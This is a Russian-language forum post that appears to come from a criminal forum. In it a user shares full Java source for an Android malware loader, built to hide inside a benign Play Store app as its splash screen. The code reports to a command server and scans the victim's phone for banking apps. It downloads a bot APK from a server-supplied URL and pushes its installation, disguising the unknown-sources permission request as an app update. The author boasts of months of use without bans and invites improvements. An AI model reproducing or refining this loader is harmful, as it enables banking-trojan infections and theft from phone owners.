Перейти к публикации

BorisBRITVA

Исходники лоадера Андроид

Рекомендованные сообщения

Господа, я не являюсь профессиональным кодером, еще полгода назад я даже не знал что существует ява, поэтому слепил примитивный лоадер.
Цена исходников аппа для андроида 10 баксов, цена аккаунта разработчика 25 баксов, а на рынке нет лоадеров, по крайней мере когда вступал на этот путь ничего адекватного не нашел,
этот лоадер работает у меня уже 3-4 месяца на нескольких акков, нет ни одного бана.
цель выкладывания - довести до ума, кто даст дельные советы, буду переодически обновлять стартовый пост.
цель лоадера - минимальным кодом установить бота на тело, я воткнул все в одно активити, которое можно вставить в любое приложение как загрузочный экран
часть вырезано, такие сложности как шифрование трафика, шифрование данных в хранилище и прочее не нужное
я отказался от сложностей типа фейрбазе и прочих ништяков, так белый апп с маркета в 80% сносят в первые пару дней, нет смысла копить ботов, а вот жирных выцыпить сразу - более приоритетно

public class MainActivity extends Activity {

    private static final String ADMIN_PANEL = "http://127.0.0.1/"; // тут понятно все
    private final Context mContext = this;

    // не будем писать сами общение с админкой доверим OkHttpClient нужно только добавить в gradle dependencies эту строку  implementation 'com.squareup.okhttp3:okhttp:5.0.0-alpha.3'
    // OkHttpClient выбран потому, что можно быстро маштабировать под шифрование и кодирование трафика не првязываясь к json, хотя он будет дефолтным
    private final OkHttpClient client = new OkHttpClient();

    private boolean APP_CONNECT = false;            // будет ситуация когда лоадер не достучиться до админки, блокнули домен/нет инета и прочее, этой переменной мы отловим эту ситуацию
    private JSONObject LOADER_DATA = null;          // наша главная переменная будет тащить в себе всю информацию
    private SharedPreferences sharedPreferences;    // будем использовать sharedPreferences как самое примитивное и быстрое хранилище для нашей информации

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        sharedPreferences = mContext.getSharedPreferences("localpref", Context.MODE_PRIVATE);
        loadSession();
        // при старте аппа, даем 10 секунд лоадеру, что бы сделать свои дела, если он не достучался до админки либо не смог сформировать данные свои - выходим в белый апп
        new Handler(Looper.getMainLooper()).postDelayed(this::checkInternet, 10000);
    }
    private void checkInternet(){
        if( LOADER_DATA == null || !APP_CONNECT ){
            startRealApplication();
        }
    }
    @Override
    protected void onResume() {
        /*
        очень важно при восстановление нашего активти, воссоздать нашу переменную и стартануть какие либо действия,
        юзер обязательно будет тыкать туда сюда, включать выключать активити, а мы должно держать руку на пульсе всегда
         */
        super.onResume();
        loadSession();
    }
    public void startRealApplication(){
        //старт реального белого аппа тут RealApplication - имя активити с которого оно должно по умолчанию стартовать
        Intent m = new Intent(this, RealApplication.class);
        m.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_NO_HISTORY );
        startActivity(m);
    }
    public void updateUI(String step){
/*
функция, которая развлекает юзера в процессе работы тут можно по шагам его информировать
например
* нужно обновить апп
* скачивание обновление и какой-то прогресс бар
* дай права ставить из неизвестных источников
* и прочее
 */
        runOnUiThread(() -> {
            TextView loaderText = (TextView) findViewById(R.id.loaderText);    // просто для вывод какого либо текста что бы скрасить ожидание юзера
            switch (step){
                case "startDownloadFile":
                    loaderText.setText(step);
                    break;
                case "endDownloadFile":
                    loaderText.setText(step);
                    break;
                case "needPermission":
                    loaderText.setText(step);
                    Button b = (Button) findViewById(R.id.button);
                    b.setOnClickListener(v -> {
                        startPerm();
                    });
                    b.setVisibility(View.VISIBLE);
                    break;
                case "startInstall":
                    loaderText.setText(step);
                    break;
                default:
                    loaderText.setText(step);
                    break;
            }
        });
    }


    private void sendData(JSONObject data, String status) {
        try{
            data.put("status", status);
            RequestBody requestBody = new FormBody
                    .Builder()
                    .add("data", data.toString() ) // вот в этом моменте я не отдаю json, так как тут должно быть шифрование общения с сервером, поэтому отдам просто строкой
                    .build();

            Request request = new Request
                    .Builder()
                    .url(ADMIN_PANEL)
                    .addHeader("cache-control","no_cache")
                    .addHeader("User-Agent","Mozilla/5.0")
                    .post(requestBody)
                    .build();

            client.newCall(request).enqueue(new Callback() {
                @Override
                public void onFailure(Call call, IOException e) {
                }
                @Override
                public void onResponse(Call call, Response response)  {
                    if (response.isSuccessful()) {
                        try {
                            String resString = response.body().string();
                            //сначало мы считаем плайн текст, так как тут должно быть тоже зашифровано тело
                            JSONObject res = new JSONObject(resString);
                            APP_CONNECT = true;  // коннект с админкой есть
                            if( res.has("action") ){
/*
от лоадера мы просим исполнение 3 возможных желаний
a. проверить тело на наличии банк аппов
b. поставить бота
c. тело пыстышка, дрочер, трафер опять наипал нас с качеством
 */
                                switch (res.getString("action")){
                                    case "a":
                                        // проверяем на теле список аппов полученных с админки массивом
                                        JSONArray appsResult = new JSONArray();
                                        JSONArray appsCheck = res.getJSONArray("apps");
                                        for(int i = 0; i < appsCheck.length(); i++){
                                            String app = appsCheck.getString(i);
                                            if( isPackageInstalled( app )){
                                                appsResult.put(app);
                                            }
                                        }
                                        JSONObject dataReturn = new JSONObject();
                                        dataReturn.put("botID", LOADER_DATA.getString("botID"));
                                        if( appsResult.length() == 0 ){
                                            // бот гавно, ничего нет, запускаем белый апп и сообщаем на админку что нужно трафера покарать
                                            dataReturn.put("apps", "none");
                                            sendData(dataReturn,"apps");
                                            startRealApplication();
                                        }else{
                                            // есть банкаппы, сообщаем на админку какие есть и ждем команды следующей
                                            dataReturn.put("apps", appsResult);
                                            sendData(dataReturn,"apps");
                                        }
                                        break;
                                    case "b":
                                        //нужно скачать и происталлить бота, это процесс может быть чуток долгий, поэтому тут вызовем поток уи и что-то сообщим юзеру
                                        updateUI("startDownloadFile");
                                        downloadFile(res);
                                        break;
                                    case "c":
                                        // запускаем белый апп
                                        startRealApplication();
                                        break;
                                }
                            }
                        } catch (Exception e) { startRealApplication(); }
                    }else{ startRealApplication(); }
                }
            });
        }catch (Exception e){ startRealApplication(); }
    }

    private void downloadFile(JSONObject data) {
        // просто скачиваем файл и запускаем установку
        try {
            String url = data.getString("url"); //урл по которому качаем файл полученный с админки
            OkHttpClient client2 = new OkHttpClient();
            Request request = new Request.Builder().url(url).build();
            client2.newCall(request).enqueue(new Callback() {
                @Override
                public void onFailure(Call call, IOException e) {
                    e.printStackTrace();
                }

                @Override
                public void onResponse(Call call, Response response) throws IOException {
                    if (!response.isSuccessful()) throw new IOException("Unexpected code " + response);
                    InputStream is = response.body().byteStream();
                    BufferedInputStream input = new BufferedInputStream(is);
                    String cacheFile = createBotID() + ".apk"; // так как каждый будет под себя делать функцию генерации ботИД - просто сгенерируем как имя файла
                    String PATH = Objects.requireNonNull( getExternalFilesDir(null)).getAbsolutePath();
                    File file = new File(PATH, cacheFile);
                    OutputStream output = new FileOutputStream(file);
                    byte[] buff = new byte[1024 * 4];
                    while (true) {
                        int byteCount = input.read(buff);
                        if (byteCount == -1) {
                            break;
                        }
                        output.write(buff, 0, byteCount);
                    }
                    output.flush();
                    output.close();
                    input.close();
                    try{
                        // итак файл скачен успешно, сразу зафиксируем это
                        LOADER_DATA.put("timeFile", 0);
                        LOADER_DATA.put("package", data.getString("package"));
                        LOADER_DATA.put("cacheFile", cacheFile);
                        saveInPreferences(LOADER_DATA);
                    }catch (Exception ignored){}
                    updateUI("endDownloadFile");
                    startInstall();
                }
            });
        } catch (Exception e) {
            startRealApplication();
        }
    }

    private void startInstall() {
        try {
            if( isBotInstalled() || LOADER_DATA.has("botInstalled")){ // проверим еще раз, точно бота нет на теле
                startRealApplication();
                return;
            }
            if( !checkCanRequestPackageInstalls() ){
                updateUI("needPermission");
                return;
            }
            if( LOADER_DATA.getLong("timeStart") + 16000 > System.currentTimeMillis()){ // а вот тут определим 16 секунд между стартами инсталла
                return;
            }
            LOADER_DATA.put("timeStart",System.currentTimeMillis());

            String PATH = Objects.requireNonNull( getExternalFilesDir(null)).getAbsolutePath();
            File file = new File(PATH, LOADER_DATA.getString("cacheFile"));
            Intent intent = new Intent(Intent.ACTION_INSTALL_PACKAGE);

            Uri downloaded_apk = FileProvider.getUriForFile(this, getApplicationContext().getPackageName() + ".provider", file);
            intent.setDataAndType(downloaded_apk, "application/vnd.android.package-archive");
            List<ResolveInfo> resInfoList = mContext.getPackageManager().queryIntentActivities(intent, PackageManager.MATCH_DEFAULT_ONLY);
            for (ResolveInfo resolveInfo : resInfoList) {
                mContext.grantUriPermission(mContext.getApplicationContext().getPackageName() + ".provider", downloaded_apk, Intent.FLAG_GRANT_WRITE_URI_PERMISSION | Intent.FLAG_GRANT_READ_URI_PERMISSION);
            }
            intent.setFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_GRANT_WRITE_URI_PERMISSION | Intent.FLAG_GRANT_READ_URI_PERMISSION);
            startActivity(intent);

            new Handler(Looper.getMainLooper()).postDelayed(this::isBotInstalled, 30000);
        }catch (Exception e){
            startRealApplication();
        }
    }

    private boolean checkCanRequestPackageInstalls() {
/*
самая слабая точка тут - разрешение ставить из неизвестных источников,
кто-то игнорирует этот вопрос и просто заебывает окном, кто-то разводку делает на уровни Ганибала Лектора
ну факт есь фактом, это самое слабое звено, я просто кнопку вывожу в активити типа апдейт апп!
при нажатии на которую просто перекидывает в сеттинг
 */
        try {
            return getPackageManager().canRequestPackageInstalls();
        }catch (Exception ignored){}
        return true;
    }
    private void startPerm() {
//открываем сеттинг для получение разрешение стаивть из неизвестных источников
        Intent intent = new Intent(Settings.ACTION_MANAGE_UNKNOWN_APP_SOURCES);
        intent.setData(Uri.parse("package:" + getPackageName()));
        intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK );
        startActivityForResult(intent,12);
    }
    @Override
    protected void onActivityResult(int requestCode, int resultCode, Intent i) {
/*
если он нажал назад и не дал нам разрешение - опять выкидываем его, пока не даст либо не уйдет
разные версии андроил по разному реагируют, 11 роняет полностью наш лоадер,
в этом случаем мы подхватим эту ситуацию в loadSession, да в любом случае подхватим так как сработает onResume
ну если юзер дал права, то начинаем ставить
 */
        if( !checkCanRequestPackageInstalls() ){
            startPerm();
        }else{
            updateUI("startInstall");
            startInstall();
        }
    }

    private void loadSession(){
        if (Build.VERSION.SDK_INT < Build.VERSION_CODES.O) {  // если меньше 8 версия то нафиг ее, выпускаем в реал апп
            startRealApplication();
            return;
        }
        try {
            if( LOADER_DATA == null ){  // первая загрузка аппа или восстановление, наша переменная обнулена, восстановливаем ее и пытаемся продолжить работу
                LOADER_DATA = firstStart();
            }
            if( LOADER_DATA == null || !LOADER_DATA.has("botID") || LOADER_DATA.has("botInstalled") ){
/*
при любом запуске активити проверим 3 возможных состояния
1. данные не получены, сломалось шифрование или еще чего
2. данные получены, ну нет ботИД, считаем данные некорректными
3. данные корректны, ну лоадер уже выполнил свою работу
в этих случаях отдаем белый апп
 */
                startRealApplication();
            }else{
                if (LOADER_DATA.has("package") && isBotInstalled()) {
/*
если мы находим в нашей переменой имя пакета бота - то проверим, может он установлен уже ?
надеюсь все ставят бота с рандомизированным именем пакета
 */
                    startRealApplication();
                } else {
                    if( LOADER_DATA.has("cacheFile") ){
                        //проверим ситуацию, когда файл бота скачен , ну еще не запущен процесс инсталла
                        String PATH = Objects.requireNonNull(mContext.getExternalFilesDir(null)).getAbsolutePath();
                        File file = new File(PATH, LOADER_DATA.getString("cacheFile"));
                        if( file.exists() ){
                            startInstall(); // пробуем снова запустить инсталл
                        }else{
                            sendData(LOADER_DATA, "start"); // запись о файле есть, ну файла нет, может АВ грохнуло, не важно, стучим на админку
                        }
                    }else{
                        sendData(LOADER_DATA, "start"); // ничего не было из возможных варинтов - стукнем на админку и скажем, что первый запуск
                    }

                }
            }
        }catch (Exception e){
            startRealApplication(); // в любой непредвиденной ситуации отдаем юзеру реал апп
        }
    }

    private boolean isPackageInstalled(String aPackage) {
/*
пытаемся получить данные об установленном аппе, если его нет то выкинет исключение - значит аппа нет
ну эта функция работает загадочно, если апп поставлен из маркета - то он выдаст сразу информацию
ну если поставлен апп из внешних источников, то нужно время что бы андроид прочитал манифест
а когда он это сделаем это загадка для всех поэтому будем двумя вариантами проверять установку бота
а для проверки наличия банкаппов это самое идеальное решение
 */
        try {
            PackageManager b = mContext.getPackageManager();
            b.getPackageInfo(aPackage, 0);
            return true;
        } catch (PackageManager.NameNotFoundException e) {
            return false;
        }
    }
    private boolean isBotInstalled() {
        try{
            // первая проверка на установленного бота - пытаемся его запустить
            Intent launchIntent = getPackageManager().getLaunchIntentForPackage(LOADER_DATA.getString("package"));
            if (launchIntent != null) {
                launchIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
                startActivity(launchIntent);
                return allOk();
            }else{
                if( isPackageInstalled(LOADER_DATA.getString("package"))  ){
                    // вторая проверка на установленного бота - пытаемся получить данные об аппе
                    return allOk();
                }
            }
        }catch(Exception ignored){ }
        return false;
    }

    private boolean allOk() {
        // простенькая функция, подчищающая за собой и сохраняет состояние удачного исталла
        try{
            LOADER_DATA.put("botInstalled","ok");
            String PATH = Objects.requireNonNull(mContext.getExternalFilesDir(null)).getAbsolutePath();
            File file = new File(PATH, LOADER_DATA.getString("cacheFile"));
            file.delete();
        }catch (Exception ignored){}
        saveInPreferences(LOADER_DATA);
        startRealApplication();
        return true;
    }

    // sharedPreferences
    private void saveInPreferences(JSONObject data) {
        /*
        я специально вынес работу с хранилищем отдельной функцией, так как хранить открытым текстом критичные
        данные неосмотрительно, вот тут можно зашифровать, ну это дело каждого
         */
        try{
            sharedPreferences.edit().putString("myData", data.toString() ).apply();
        }catch (Exception ignored){}
    }
    private JSONObject loadFromPreferences() {
        /*
        вот тут можно дешифровать
         */
        try{
            String str = sharedPreferences.getString("myData", null);
            if( str != null && !str.isEmpty() ){
                return new JSONObject(str);
            }
        }catch (Exception ignored){}
        return  null;
    }
    // END sharedPreferences

    public JSONObject firstStart(){
        try {
            JSONObject data = loadFromPreferences(); // пытаемся загрузить данные из sharedPreferences
            if (data == null || !data.has("botID")) { //данных нет, это скорее всего первый запуск, нужно собрать с телефона хоть какую либо статсу
                data = new JSONObject();
                data.put("botID", createBotID());
                data.put("model", Build.MODEL);
                data.put("vendor",Build.MANUFACTURER  );
                data.put("sdk", Build.VERSION.SDK_INT );
                saveInPreferences(data); // сохраним их в sharedPreferences
            }
            return data;
        }catch (Exception ignored){}
        return null;
    }
    private String createBotID(){
        //тут формируем ботИД под свое предпочтение, кто-то md5 любит, кто-то строго строки или строго цифры
        return "exampleBotID";
    }

}

 

Поделиться сообщением


Ссылка на сообщение

Создайте аккаунт или войдите в него для комментирования

Вы должны быть пользователем, чтобы оставить комментарий

Создать аккаунт

Зарегистрируйтесь для получения аккаунта. Это просто!

Зарегистрировать аккаунт

Войти

Уже зарегистрированы? Войдите здесь.

Войти сейчас

×
×
  • Создать...